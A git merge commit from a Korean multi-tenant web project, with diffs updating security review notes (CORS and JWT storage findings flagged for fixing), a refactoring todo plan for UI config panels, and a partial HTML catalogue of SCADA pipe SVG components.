merge: origin/gbpark-node → hjjeong (60 commits, 5 conflicts resolved)
충돌 해결 5개 파일: - .gitignore: .envrc/.direnv (hjjeong direnv 셋업) + .omc/ (gbpark) 양쪽 보존 - docs/MULTI_TENANCY_ARCHITECTURE.md: *.localhost dev 분기 + *.invyone.com/solution.invyone.com 통합 - frontend/lib/api/client.ts: 1-b *.localhost:8081 dev + 1-c DEV_TENANT_HOST(nip.io):8083 + invyone.com 신 도메인 - frontend/lib/tenant/subdomain.ts: IPv4 차단 + *.invyone.com + DEV_TENANT_HOST + *.localhost 모두 처리 - frontend/app/(auth)/login/page.tsx: B안 채택 — buttons 항상 렌더, className 만 mounted 가드 (next-themes 표준 패턴) 검증: - backend: ./gradlew compileJava 성공 (Java 21) - frontend: 머지된 4개 파일 관련 타입 에러 0개 Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -70,7 +70,7 @@ config.setAllowedOriginPatterns(List.of("*"));
|
||||
config.setAllowCredentials(true);
|
||||
```
|
||||
`*` + `allowCredentials=true` 조합은 모든 출처에서 쿠키 포함 요청을 허용.
|
||||
**조치:** 운영용 화이트리스트 (`v1.invion.com`, 사내 IP 등) 로 좁힐 것.
|
||||
**조치:** 운영용 화이트리스트 (`v1.invyone.com`, 사내 IP 등) 로 좁힐 것.
|
||||
|
||||
### 6. JWT 를 localStorage 저장 + 비-HttpOnly 쿠키 중복
|
||||
**파일:** `frontend/lib/api/client.ts:83-87`, `frontend/hooks/useAuth.ts:58-64`
|
||||
@@ -154,7 +154,7 @@ const strictProtectedPaths = ["/admin"];
|
||||
|
||||
## 🟢 자잘한 정리
|
||||
|
||||
- **`frontend/lib/api/client.ts:14-36`** — API base URL 결정 로직이 환경변수 + hostname 분기 + 포트 분기로 길어짐. hostname 하드코딩 (`v1.invion.com`) 은 환경변수로 분리 권장.
|
||||
- **`frontend/lib/api/client.ts:14-36`** — API base URL 결정 로직이 환경변수 + hostname 분기 + 포트 분기로 길어짐. hostname 하드코딩 (`v1.invyone.com`) 은 환경변수로 분리 권장.
|
||||
- **`useAuth.ts:196`, `AuthService.java:273`** — `"plm_admin" === userId` 식의 매직 ID 가 프론트/백 양쪽에 박힘. role 기반으로 일원화.
|
||||
- **`JwtAuthenticationFilter`** — 토큰 만료/위조 시 401 응답 없이 그냥 다음 필터로 넘김 (#4 결함과 맞물려 동작 불일치).
|
||||
- **`frontend/hooks/useLogin.ts:81-95`** — `checkExistingAuth` 가 401 받으면 인터셉터의 자동 redirectToLogin 과 충돌 여지. 현재는 `pathname === "/login"` 가드로 막혀있긴 함.
|
||||
|
||||
@@ -92,7 +92,7 @@ WHERE table_name = 'user_info' AND column_name = 'user_password';
|
||||
|
||||
- 현재는 **dev 도커** (`docker/dev/.env`) 만 작성
|
||||
- 운영 도커 컴포즈 (`docker/prod/...`) 가 있다면 거기에도 동일한 패턴으로 `.env` + secret + CORS 화이트리스트 적용 필요
|
||||
- 운영 CORS 화이트리스트: `https://v1.invion.com,https://api.invion.com` 식으로 변경
|
||||
- 운영 CORS 화이트리스트: `https://v1.invyone.com,https://api.invyone.com` 식으로 변경
|
||||
|
||||
### D. 마스터 패스워드 의존성 확인
|
||||
|
||||
|
||||
@@ -799,7 +799,7 @@ html.dark .v5-cm-tg{background:var(--v5-cm-sunk);}
|
||||
</div>
|
||||
<div class="v5-cm-form-row">
|
||||
<label>도메인</label>
|
||||
<input class="v5-cm-inp" value="v1.invion.com" />
|
||||
<input class="v5-cm-inp" value="v1.invyone.com" />
|
||||
</div>
|
||||
</div>
|
||||
<div class="v5-cm-form-row">
|
||||
|
||||
@@ -0,0 +1,237 @@
|
||||
# 다음 세션 — ConfigPanel 리팩토링 + 잔여 마이그 todos
|
||||
|
||||
날짜: 2026-04-28
|
||||
컨텍스트: 직전 세션에서 좌측 팔레트 11 컴포넌트 cp 톤 마이그 + Inv* 일괄 네이밍 통합 완료. 안전 복귀점: commit 이후 (git log 확인).
|
||||
|
||||
---
|
||||
|
||||
## 1순위: 리팩토링 본체 (Codex 권장)
|
||||
|
||||
### 1.1 useDbTables() hook 추출 ★ 가장 안전 — ✅ 완료 (2026-04-29)
|
||||
|
||||
**현재 중복 위치**:
|
||||
- `lib/registry/components/search/InvSearchConfigPanel.tsx`
|
||||
- `lib/registry/components/table/InvTableConfigPanel.tsx`
|
||||
- `lib/registry/components/stats/InvStatsConfigPanel.tsx`
|
||||
- `lib/registry/components/input/InvInputConfigPanel.tsx` (필요 시)
|
||||
|
||||
**중복 패턴**:
|
||||
```tsx
|
||||
const [allDbTables, setAllDbTables] = useState<any[]>([]);
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
(async () => {
|
||||
const { tableManagementApi } = await import("@/lib/api/tableManagement");
|
||||
const res = await tableManagementApi.getTableList();
|
||||
if (!cancelled && res.success && res.data) setAllDbTables(res.data);
|
||||
})();
|
||||
return () => { cancelled = true; };
|
||||
}, []);
|
||||
|
||||
const tableOptions = useMemo(() => allDbTables.map(...), [allDbTables]);
|
||||
```
|
||||
|
||||
**추출 위치**: `frontend/lib/registry/components/common/hooks/useDbTables.ts`
|
||||
|
||||
**hook 시그니처 (Codex 권장)**:
|
||||
```ts
|
||||
export function useDbTables(opts?: {
|
||||
fallback?: any[]; // search/table 의 props.tables fallback
|
||||
normalize?: (t: any) => { value: string; label: string }; // 기본 normalize
|
||||
}): {
|
||||
tables: any[];
|
||||
options: { value: string; label: string }[];
|
||||
loading: boolean;
|
||||
};
|
||||
```
|
||||
|
||||
**주의 (Codex)**:
|
||||
- `tableName/table_name`, `display_name/tableLabel/table_label` normalization 을 hook 안에 고정
|
||||
- table 의 connected column loading / autoload 로직은 **hook 에 섞지 말 것** (별개)
|
||||
|
||||
**적용 결과 (2026-04-29)**:
|
||||
- 신규 파일: `frontend/lib/registry/components/common/useDbTables.ts`
|
||||
- 적용 패널: search / table / stats (3개)
|
||||
- input 은 패턴 없어서 적용 안 함
|
||||
- normalize 는 hook 안 default + `opts.normalize` override 가능 (Codex 권장 그대로)
|
||||
- stats 만 value 우선순위 살짝 달랐으나 (`table_name || tableName`) functional 동일이라 default 통일
|
||||
- TS 검증: 변경 4 파일 새 에러 0건
|
||||
|
||||
### 1.2 TableConnectSection 추출 (1.1 다음) — ✅ 완료 (2026-04-29)
|
||||
|
||||
**현재 중복**:
|
||||
- search / table 의 "테이블 연결 + 자동 로드 버튼" 섹션
|
||||
- stats 는 자동 로드 X (테이블 선택만)
|
||||
|
||||
**추출 시 주의**:
|
||||
- search: `[자동 로드]` = 검색 필드 8개 자동 추출
|
||||
- table: `[자동 로드]` = 컬럼 N개 자동 추출
|
||||
- → autoload 콜백을 prop 으로 받음. label 도 prop.
|
||||
|
||||
**적용 결과 (2026-04-29)**:
|
||||
- 신규 파일: `frontend/lib/registry/components/common/TableConnectSection.tsx`
|
||||
- 두 컴포넌트 export:
|
||||
1. `TableConnectSection` — CPSection + CPRow "테이블" + CPSelect (children 슬롯)
|
||||
2. `AutoLoadButton` — 38줄 동일 inline 스타일 버튼 (label / onClick / iconSize prop)
|
||||
- Codex 의 ★ 가이드 그대로: autoload 로직 (callback / 조건 / 컬럼 fetch) 호출처에 그대로 둠
|
||||
- search 호출처는 `tableColumns.length > 0 && <AutoLoadButton ... />` + `!connectedTable && <Hint>` 직접 children 으로 주입
|
||||
- table 호출처는 `<Hint>` (loading 상태) + `<AutoLoadButton ... />` 직접 children
|
||||
- TS 검증: 변경 파일 새 에러 0건
|
||||
- 변경 stat: 4 files, +81/-199 (호출처 순감 118줄, 신규 모듈 ~186줄, 총 net +68 — 가독성/유지보수 큰 이득)
|
||||
|
||||
### 1.3 DenseListRow / ExpandableRow 추출 (1.1, 1.2 다음) — ✅ helper-only 완료 (2026-04-29)
|
||||
|
||||
**현재 중복**:
|
||||
- search 의 SearchFieldRow
|
||||
- table 의 ColumnEditRow (펼침 있음)
|
||||
- stats 의 ItemEditRow (펼침 있음)
|
||||
- input 의 select options row (단순)
|
||||
|
||||
→ 패턴 안정화 후 추출. 너무 일찍 하면 over-abstraction.
|
||||
|
||||
**적용 결과 (2026-04-29) — Codex 가이드 따라 helper-only 좁게 추출**:
|
||||
|
||||
- 신규 파일: `frontend/lib/registry/components/common/row-helpers.tsx`
|
||||
- 3 helper export:
|
||||
1. `RowNumberBadge` (n) — search/table/stats 의 #번호 (4 패널 중 3)
|
||||
2. `RowExpandChevron` (expanded, onToggle, size?) — table/stats 의 ▸/▾ 펼침 버튼 (2 패널)
|
||||
3. `RowDeleteBtn` (onClick, visible?, size?, children?, title?) — 4 패널 모두 사용
|
||||
- ★ wrapper (DenseListRow / ExpandableRow) 는 **보류** — Codex 판단: row 별 expanded state 위치 / hover 표시 / row padding 회귀 위험 중간 이상
|
||||
- silent visual change 1건: input 의 옵션 ×버튼 hover bg 추가됨 (이전 X) — Codex Y2 권고로 `hoverBg?: boolean` 옵션 추가 (기본 true), input 만 `hoverBg={false}` 로 원복
|
||||
- Y1 ★ 경고 주석 반영: `RowDeleteBtn` 의 `visible` 기본값 true 위험 (호출처가 prop 생략 시 항상 노출) — 주석에 "dense list row 는 반드시 `visible={hover}` 명시" 명시
|
||||
- 적용 패널: search (RowNumberBadge + RowDeleteBtn) / table + stats (3 helper 다) / input (RowDeleteBtn 만)
|
||||
- TS 검증: 새 에러 0건
|
||||
- 변경 stat 누적 (1.1+1.2+1.3): 5 files, +123 / -376 (호출처 -253 / 신규 3 모듈 +296 / net +43 — 가독성·유지보수 이득)
|
||||
|
||||
---
|
||||
|
||||
## 2순위: 잔여 V2* cp 마이그 (좌측 팔레트 외)
|
||||
|
||||
### 2.1 V2DateConfigPanel cp 마이그 (좌측 더보기 9)
|
||||
- 위치: `frontend/components/v2/config-panels/V2DateConfigPanel.tsx`
|
||||
|
||||
### 2.2 V2BomTreeConfigPanel / V2BomItemEditorConfigPanel (좌측 BOM 트리/편집)
|
||||
|
||||
### 2.3 InvDataConfigPanel 의 list/table 분기
|
||||
- 현재: V2ListConfigPanel / V2TableListConfigPanel(1497줄) 옛 디자인 그대로 위임
|
||||
- 신규 배치는 v2-repeater 만 (InvRepeaterConfigPanel) — 옛 화면 호환용
|
||||
- 우선순위 낮음 (사용자 신규 배치 X)
|
||||
|
||||
---
|
||||
|
||||
## 3순위: dead code 정리 (Codex 권장 방식)
|
||||
|
||||
`frontend/components/v2/config-panels/V2*ConfigPanel.tsx` 33개 중 실제 사용/미사용 식별:
|
||||
- basename-driven `rg` (ripgrep) 스캔: `rg -l "V2XxxConfigPanel" frontend/`
|
||||
- register/barrel 노이즈 구분 (config_panel: 매핑이 살아있는 것 = 사용 중)
|
||||
- 파일명만으로 삭제 금지 — 호출처 확인 필수
|
||||
|
||||
---
|
||||
|
||||
## 4순위: IconPicker 공용 cp 톤 마이그 (사용자 지적) — ✅ 완료 (2026-04-29)
|
||||
|
||||
**문제**: button / stats 등 패널의 "아이콘 선택" 셀렉트가 다른 select 와 사이즈 다름 (Image #9 참고). IconPicker 컴포넌트 자체 디자인이 cp 톤 아님.
|
||||
|
||||
**위치**: `frontend/lib/registry/components/common/IconPicker.tsx`
|
||||
|
||||
**한 번 마이그하면 button / stats / 기타 IconPicker 사용 패널 일관성 회복.**
|
||||
|
||||
**적용 결과 (2026-04-29) — Codex Y4 권고 따라**:
|
||||
|
||||
- 위치: `frontend/lib/registry/components/common/IconPicker.tsx`
|
||||
- 시그니처 / 동작 (외부 클릭 닫기 없음 등) **완전 동일**, 시각 톤만 마이그
|
||||
- 트리거 버튼: 28px height, 12px font, cp-surface bg, cp-border + focus glow (primary 0.5/0.12), 6px radius
|
||||
- 팝오버: cp-surface bg, cp-border, 6px radius, shadow
|
||||
- 검색 input: cp-bg-subtle, cp-border, 4px radius, 11px font
|
||||
- 그리드 버튼: cp hover (cp-surface-hover), primary 활성 tint (rgba(primary-rgb, 0.10) bg + primary text)
|
||||
- shadcn 클래스 (`border-border bg-background text-xs` 등) 0건 → cp 변수 + inline style 전환
|
||||
|
||||
**영향 범위 검증**:
|
||||
- 사용처 grep 결과 — IconPicker 본체는 button/stats 2 cp 패널만 사용
|
||||
- 외부 7곳 (layout/admin/dash) 은 별개 `MenuIconPicker` 사용 → **영향 없음**
|
||||
|
||||
**검증**:
|
||||
- TS 새 에러 0건
|
||||
- diff stat: 1 file, +152 / -18 (cp inline style verbosity 로 size 증가, 시각 일관성 큰 이득)
|
||||
|
||||
**E3 후속 — popover Portal 도입 (2026-04-29)**:
|
||||
- Codex 검증 시 ★ 발견: stats 의 list wrapper `overflow: hidden` (cp 표준 디자인) 안에서 IconPicker popover (absolute) 가 잘릴 위험
|
||||
- search/table 도 동일 hidden 패턴 — cp 표준 깨면 일관성 깨짐
|
||||
- 해결: IconPicker 의 popover 만 `React.createPortal(document.body)` + `position: fixed` + 좌표 (트리거 `getBoundingClientRect()`) 로 변경
|
||||
- 부모 overflow 와 무관하게 항상 화면 위에 표시
|
||||
- scroll/resize 발생 시 popover 자동 닫음 (좌표 안 따라감 — 단순)
|
||||
- z-index 9999 로 최상위
|
||||
- 다른 cp 패널 일관성 유지 (wrapper hidden 그대로)
|
||||
|
||||
**IconPicker 미완 후속 사항 (다음에 손볼 때 한꺼번에)** ★:
|
||||
|
||||
1. **viewport 하단 잘림 보정 (auto-flip)** — 트리거 아래 공간 부족 시 popover 를 트리거 위로 flip. 좌표 계산 시 `viewport.height - rect.bottom` 비교 후 결정.
|
||||
2. **외부 클릭 닫기** — 현재 트리거 재클릭 / 그리드 선택 / 검색 후 선택 시만 닫힘. cp 표준 CPSelect 처럼 `mousedown` capture + Escape 키 처리 추가 (단 portal 안에서 처리 시 popover 자체 클릭은 닫지 않게 ref 비교).
|
||||
3. **z-index 9999 표준화** — 향후 앱 모달/오버레이 (예: shadcn `Dialog`, `Sheet` 등) 와 충돌 가능. cp 표준 z-index 토큰 (`--cp-z-popover`) 정의 후 사용.
|
||||
4. **viewport 우측 잘림 보정** — popover width 가 트리거 right 보다 클 때 좌측으로 shift. 현재 trigger.width 그대로 사용해 우측 잘림 가능성 낮지만, 동적 width 일 때 대비.
|
||||
5. **키보드 네비** — ↑↓ 화살표 / Enter / Esc 등. 현재 마우스만 지원.
|
||||
6. **카테고리 분류 / 더보기** — 현재 80개 cap. 검색 시에만 전체 매치. 카테고리 (액션/내비/IO 등) 추가 후보.
|
||||
|
||||
위 1~6 은 즉시 깨지는 결함은 아님. 다음에 IconPicker 본체 손볼 때 (예: button/stats 외 다른 패널 추가 또는 신규 기능 추가) 함께 처리.
|
||||
|
||||
---
|
||||
|
||||
## 안전 가이드
|
||||
|
||||
- **Codex 검토 필수**: 리팩토링 / 큰 rename 은 Codex 에게 검증받음 (silent breakage 방지)
|
||||
- **commit 자주**: 각 1.x / 2.x 단계마다 commit (안전 복귀점)
|
||||
- **dev 서버 재시작**: rename 후 ssh park@100.126.230.80 'docker restart invyone-frontend'
|
||||
- **smoke test**: 좌측 팔레트 11 컴포넌트 + 옛 hidden 화면 (있다면) 1개씩 클릭 확인
|
||||
|
||||
---
|
||||
|
||||
## 진행 상황 요약 (2026-04-28 직전 세션 기준)
|
||||
|
||||
### 완료
|
||||
- ✅ 좌측 팔레트 11 컴포넌트 cp 톤 마이그
|
||||
- ✅ Inv* 일괄 네이밍 통합 (11 패널)
|
||||
- ✅ 옛 호환 3 → InvLegacy* 분리
|
||||
- ✅ getComponentConfigPanel.tsx stats key 중복 버그 수정
|
||||
- ✅ ALIAS 충돌 수정 (옛 hidden 컴포넌트 → InvLegacy)
|
||||
- ✅ input 통합 cp 톤 신규 (InvInputConfigPanel)
|
||||
- ✅ **useDbTables hook 추출 (2026-04-29)**
|
||||
- ✅ **TableConnectSection + AutoLoadButton 추출 (2026-04-29)**
|
||||
- ✅ **Row helpers 추출 (RowNumberBadge / RowExpandChevron / RowDeleteBtn) — 2026-04-29**
|
||||
- ✅ **IconPicker cp 톤 마이그 (2026-04-29)** — Codex Y4 권고
|
||||
|
||||
### 미완 (위 1~4 순위)
|
||||
- ❌ V2DateConfigPanel / V2BomTree / V2BomItemEditor cp
|
||||
- ❌ InvDataConfigPanel 의 list/table 분기 cp (옛 화면 호환용)
|
||||
- ❌ V2* 33개 dead code 정리
|
||||
|
||||
---
|
||||
|
||||
## Codex 검토 (2026-04-29) 핵심 반영
|
||||
|
||||
| 질문 | 판정 | 시급 액션 |
|
||||
|---|---|---|
|
||||
| Q1 todos 우선순위 | 수정필요 | useDbTables 만 먼저 (✅ 완료) + dead-code 스캔 기준 보강 |
|
||||
| Q2 InvRepeater 신규 | 수정필요 | `import` type 보류, resolver/writer + 보존 키 목록 확정 |
|
||||
| Q3 InvData 통합 | 수정필요 | taxonomy 하위 축 추가 + round-trip DoD |
|
||||
| Q4 Inv* 네이밍 | OK | 옵션 B 유지, legacy 사용량 0 검증 전 삭제 금지 |
|
||||
|
||||
### ★ silent breakage 위험 (Codex 경고)
|
||||
|
||||
1. **TableConnectSection 추출 시** — search/table 의 자동 로드 의미 다름 (search: 검색 필드 8개 / table: 컬럼 N개). UI 만 공통화 + autoload 는 prop callback
|
||||
2. **DenseListRow 추출 시** — row 별 key/펼침/onChange shape 다름. 너무 빨리 공통화하면 UI 는 떠도 저장 config 틀어질 수 있음
|
||||
3. **dead code 33개 식별** — `rg "V2XxxConfigPanel"` 만으로 부족
|
||||
- `getComponentConfigPanel.tsx` 의 `CONFIG_PANEL_MAP` + `CONFIG_PANEL_ALIAS` (alias 가 먼저 해석됨, 예: `"v2-table-list": "table"`)
|
||||
- `V2PropertiesPanel.tsx:215` hardcoded require
|
||||
- dynamic import map 확인 필수
|
||||
4. **InvRepeater config 보존 키**
|
||||
- `source_detail_config` (table_name/foreign_key/parent_key 외 use_entity_join, column_mapping, additional_join_columns 도 보존)
|
||||
- `column_mappings[]`, `calculation_rules[]`, `entity_joins[]` (modal 전용처럼 보여도 보존)
|
||||
- `no_duplicate_pick` (현재 코드 L1335) 호환 체크 추가
|
||||
5. **V2DateConfigPanel** — V2FieldConfigPanel 의 `input.date.*` 와 분리 결정 필요
|
||||
6. **excludeFilter / linkedFilters[] / source_detail_config** — 통합 InvData 시 read/write round-trip 테스트 필수 (참조 테이블 변경 시 별도 컬럼 API 호출)
|
||||
|
||||
### 추가 권장사항
|
||||
|
||||
- **InvData 통합 패널 분리**: 3760줄 단일 파일 비추천. orchestrator / resolveAxis-applyAxis / read sections / write sections / API hooks / column editors 로 경계
|
||||
- **InvRepeater resolver/writer 도입**: V2Field 의 resolveTriple/applyTriple 패턴 그대로 (InvRepeaterConfigPanel L124, L141 이미 같은 형태 사용 중)
|
||||
- **InvRepeater type=import 보류**: 별도 reserved 또는 후속 컴포넌트 후보로
|
||||
@@ -0,0 +1,457 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="ko">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>SCADA Component Library</title>
|
||||
<style>
|
||||
* { box-sizing: border-box; }
|
||||
body {
|
||||
margin: 0; padding: 24px;
|
||||
background: #050a18;
|
||||
color: #fff;
|
||||
font-family: 'Segoe UI', sans-serif;
|
||||
}
|
||||
h1 {
|
||||
font-size: 18px; margin: 0 0 4px;
|
||||
color: #5af; letter-spacing: 1px;
|
||||
}
|
||||
.subtitle {
|
||||
font-size: 12px; color: #8aa; margin-bottom: 20px;
|
||||
}
|
||||
.lib {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
|
||||
gap: 16px;
|
||||
}
|
||||
.card {
|
||||
background: #0a1428;
|
||||
border: 1px solid #1e3060;
|
||||
border-radius: 6px;
|
||||
padding: 12px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
.card h3 {
|
||||
font-size: 13px;
|
||||
margin: 0 0 8px;
|
||||
color: #5af;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
.badge {
|
||||
font-size: 9px;
|
||||
padding: 2px 6px;
|
||||
border-radius: 10px;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.5px;
|
||||
}
|
||||
.badge.ok { background: #1a5a2a; color: #7cff3a; border: 1px solid #2a8b3a; }
|
||||
.badge.fail { background: #5a1a1a; color: #ff5a5a; border: 1px solid #8b2a2a; }
|
||||
.stage {
|
||||
background: #050a18;
|
||||
border: 1px solid #1e3060;
|
||||
padding: 12px;
|
||||
min-height: 80px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
overflow: visible;
|
||||
border-radius: 4px;
|
||||
}
|
||||
.meta {
|
||||
margin-top: 8px;
|
||||
font-size: 10px;
|
||||
color: #8aa;
|
||||
font-family: 'Consolas', monospace;
|
||||
border-top: 1px dashed #1e3060;
|
||||
padding-top: 6px;
|
||||
}
|
||||
.meta .key { color: #5af; }
|
||||
.meta div { margin: 2px 0; word-break: break-all; }
|
||||
.ctrl {
|
||||
margin-top: 8px;
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.ctrl button {
|
||||
background: #0a1830;
|
||||
border: 1px solid #1e3060;
|
||||
color: #cfd3d8;
|
||||
font-size: 10px;
|
||||
padding: 4px 8px;
|
||||
cursor: pointer;
|
||||
border-radius: 3px;
|
||||
font-family: inherit;
|
||||
}
|
||||
.ctrl button.active {
|
||||
background: #1a5a2a;
|
||||
border-color: #5af04a;
|
||||
color: #fff;
|
||||
}
|
||||
.ctrl button:hover { filter: brightness(1.3); }
|
||||
|
||||
.empty-card {
|
||||
background: #0a1428;
|
||||
border: 1px dashed #1e3060;
|
||||
border-radius: 6px;
|
||||
padding: 24px;
|
||||
color: #4a6a8a;
|
||||
text-align: center;
|
||||
font-size: 12px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>SCADA Component Library</h1>
|
||||
<div class="subtitle">검증 통과한 SVG 컴포넌트 카탈로그 — 인스턴스 prefix 적용 전 디자인/동작 확인용</div>
|
||||
|
||||
<div class="lib" id="lib"></div>
|
||||
|
||||
<script>
|
||||
//==============================================================
|
||||
// 컴포넌트 등록 — 검증 통과한 SVG 만 추가
|
||||
// 다음 컴포넌트 받으면 LIBRARY 배열에 push
|
||||
//==============================================================
|
||||
const LIBRARY = [
|
||||
{
|
||||
id: 'pipe-straight',
|
||||
title: '#18 Pipe Straight (horizontal)',
|
||||
viewBox: '0 0 100 20',
|
||||
displayWidth: 240,
|
||||
displayHeight: 48,
|
||||
requiredIds: ['pipe-outer', 'pipe-inner', 'pipe-flow'],
|
||||
notes: 'CSS rotate(90deg) 로 수직 파이프 재사용 가능',
|
||||
svg: `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 20" overflow="visible" role="img" aria-label="SCADA straight pipe" style="--scada-stroke:#aaaaaa;--scada-stroke-strong:#ffffff;--scada-flow:#5af9ff;--scada-active:#7cff3a;--scada-warning:#ff8a3a;--scada-alarm:#ff4f9a;--scada-idle:#2a3f5a">
|
||||
<defs>
|
||||
<linearGradient id="pipe-metal-grad" x1="0" y1="0" x2="0" y2="1">
|
||||
<stop offset="0" stop-color="#d9d9d9"/>
|
||||
<stop offset="0.18" stop-color="#f4f4f4"/>
|
||||
<stop offset="0.5" stop-color="#8f8f8f"/>
|
||||
<stop offset="0.82" stop-color="#d7d7d7"/>
|
||||
<stop offset="1" stop-color="#6f6f6f"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<style>
|
||||
.scada-stroke{stroke:var(--scada-stroke);stroke-width:1;vector-effect:non-scaling-stroke}
|
||||
.scada-strong{stroke:var(--scada-stroke-strong);stroke-width:1;vector-effect:non-scaling-stroke}
|
||||
.scada-fill-idle{fill:var(--scada-idle)}
|
||||
.scada-fill-metal{fill:url(#pipe-metal-grad)}
|
||||
.flow-line{stroke:var(--scada-flow);stroke-width:2;stroke-linecap:round;stroke-dasharray:4 4;vector-effect:non-scaling-stroke}
|
||||
</style>
|
||||
<rect x="2" y="4" width="96" height="12" rx="2" ry="2" id="pipe-outer" class="scada-fill-metal scada-stroke"/>
|
||||
<rect x="6" y="7" width="88" height="6" rx="1.5" ry="1.5" id="pipe-inner" class="scada-fill-idle scada-stroke"/>
|
||||
<line x1="8" y1="5" x2="8" y2="15" class="scada-strong"/>
|
||||
<line x1="12" y1="5" x2="12" y2="15" class="scada-stroke"/>
|
||||
<line x1="88" y1="5" x2="88" y2="15" class="scada-stroke"/>
|
||||
<line x1="92" y1="5" x2="92" y2="15" class="scada-strong"/>
|
||||
<line x1="12" y1="10" x2="88" y2="10" id="pipe-flow" class="flow-line"/>
|
||||
</svg>`,
|
||||
},
|
||||
|
||||
{
|
||||
id: 'pipe-elbow',
|
||||
title: '#19 Pipe Elbow 90° (┐ base)',
|
||||
viewBox: '0 0 50 50',
|
||||
displayWidth: 120,
|
||||
displayHeight: 120,
|
||||
requiredIds: ['pipe-outer', 'pipe-inner', 'pipe-flow'],
|
||||
notes: 'CSS rotate(90/180/270) 로 ┘/└/┌ 재사용. stroke 방식이라 곡선 깔끔',
|
||||
svg: `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 50 50" overflow="visible" role="img" aria-label="SCADA pipe elbow 90 degrees" style="--scada-stroke:#aaaaaa;--scada-stroke-strong:#ffffff;--scada-flow:#5af9ff;--scada-active:#7cff3a;--scada-warning:#ff8a3a;--scada-alarm:#ff4f9a;--scada-idle:#2a3f5a">
|
||||
<defs>
|
||||
<linearGradient id="pipe-metal-grad-19" x1="0" y1="0" x2="0" y2="1">
|
||||
<stop offset="0" stop-color="#d9d9d9"/>
|
||||
<stop offset="0.18" stop-color="#f4f4f4"/>
|
||||
<stop offset="0.5" stop-color="#8f8f8f"/>
|
||||
<stop offset="0.82" stop-color="#d7d7d7"/>
|
||||
<stop offset="1" stop-color="#6f6f6f"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<style>
|
||||
.e19-stroke{stroke:var(--scada-stroke);stroke-width:1;vector-effect:non-scaling-stroke}
|
||||
.e19-outer{fill:none;stroke:url(#pipe-metal-grad-19);stroke-width:12;stroke-linecap:butt;stroke-linejoin:round;vector-effect:non-scaling-stroke}
|
||||
.e19-inner{fill:none;stroke:var(--scada-idle);stroke-width:6;stroke-linecap:butt;stroke-linejoin:round;vector-effect:non-scaling-stroke}
|
||||
.e19-flow{fill:none;stroke:var(--scada-flow);stroke-width:2;stroke-linecap:round;stroke-linejoin:round;stroke-dasharray:4 4;vector-effect:non-scaling-stroke}
|
||||
</style>
|
||||
<path id="pipe-outer" class="e19-outer e19-stroke" d="M2 14 H24 A12 12 0 0 1 36 26 V48"/>
|
||||
<path id="pipe-inner" class="e19-inner e19-stroke" d="M2 14 H24 A12 12 0 0 1 36 26 V48"/>
|
||||
<path id="pipe-flow" class="e19-flow" d="M4 14 H24 A12 12 0 0 1 36 26 V46"/>
|
||||
</svg>`,
|
||||
},
|
||||
{
|
||||
id: 'pipe-tjunction',
|
||||
title: '#20 Pipe T-junction (┬ base)',
|
||||
viewBox: '0 0 60 40',
|
||||
displayWidth: 180,
|
||||
displayHeight: 120,
|
||||
requiredIds: ['pipe-main-outer', 'pipe-main-inner', 'pipe-main-flow', 'pipe-branch-outer', 'pipe-branch-inner', 'pipe-branch-flow'],
|
||||
notes: '한 덩어리 path + 좌/우/아래 평평한 단면 + flange 3쌍. branch-outer/inner 는 hidden helper (실 외곽은 main path 가 T자 전체 그림). CSS rotate 로 ┤/┴/├',
|
||||
svg: `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 60 40" overflow="visible" role="img" aria-label="SCADA pipe T-junction" style="--scada-stroke:#aaaaaa;--scada-stroke-strong:#ffffff;--scada-flow:#5af9ff;--scada-active:#7cff3a;--scada-warning:#ff8a3a;--scada-alarm:#ff4f9a;--scada-idle:#2a3f5a">
|
||||
<defs>
|
||||
<linearGradient id="pipe-metal-grad-20" x1="0" y1="0" x2="0" y2="1">
|
||||
<stop offset="0" stop-color="#d9d9d9"/>
|
||||
<stop offset="0.18" stop-color="#f4f4f4"/>
|
||||
<stop offset="0.5" stop-color="#8f8f8f"/>
|
||||
<stop offset="0.82" stop-color="#d7d7d7"/>
|
||||
<stop offset="1" stop-color="#6f6f6f"/>
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<style>
|
||||
.t20-stroke{stroke:var(--scada-stroke);stroke-width:1;vector-effect:non-scaling-stroke}
|
||||
.t20-strong{stroke:var(--scada-stroke-strong);stroke-width:1;vector-effect:non-scaling-stroke}
|
||||
.t20-metal{fill:url(#pipe-metal-grad-20)}
|
||||
.t20-idle{fill:var(--scada-idle)}
|
||||
.t20-flow{fill:none;stroke:var(--scada-flow);stroke-width:2;stroke-linecap:round;stroke-linejoin:round;stroke-dasharray:4 4;vector-effect:non-scaling-stroke}
|
||||
.t20-hidden{fill:none;stroke:none}
|
||||
</style>
|
||||
<path id="pipe-main-outer" d="M2 4H58V16H38Q36 16 36 18V38H24V18Q24 16 22 16H2Z" class="t20-metal t20-stroke"/>
|
||||
<path id="pipe-main-inner" d="M6 7H54V13H34Q33 13 33 14V34H27V14Q27 13 26 13H6Z" class="t20-idle t20-stroke"/>
|
||||
<path id="pipe-branch-outer" d="M24 16H36V38H24Z" class="t20-hidden"/>
|
||||
<path id="pipe-branch-inner" d="M27 14H33V34H27Z" class="t20-hidden"/>
|
||||
<line x1="8" y1="5" x2="8" y2="15" class="t20-strong"/>
|
||||
<line x1="12" y1="5" x2="12" y2="15" class="t20-stroke"/>
|
||||
<line x1="48" y1="5" x2="48" y2="15" class="t20-stroke"/>
|
||||
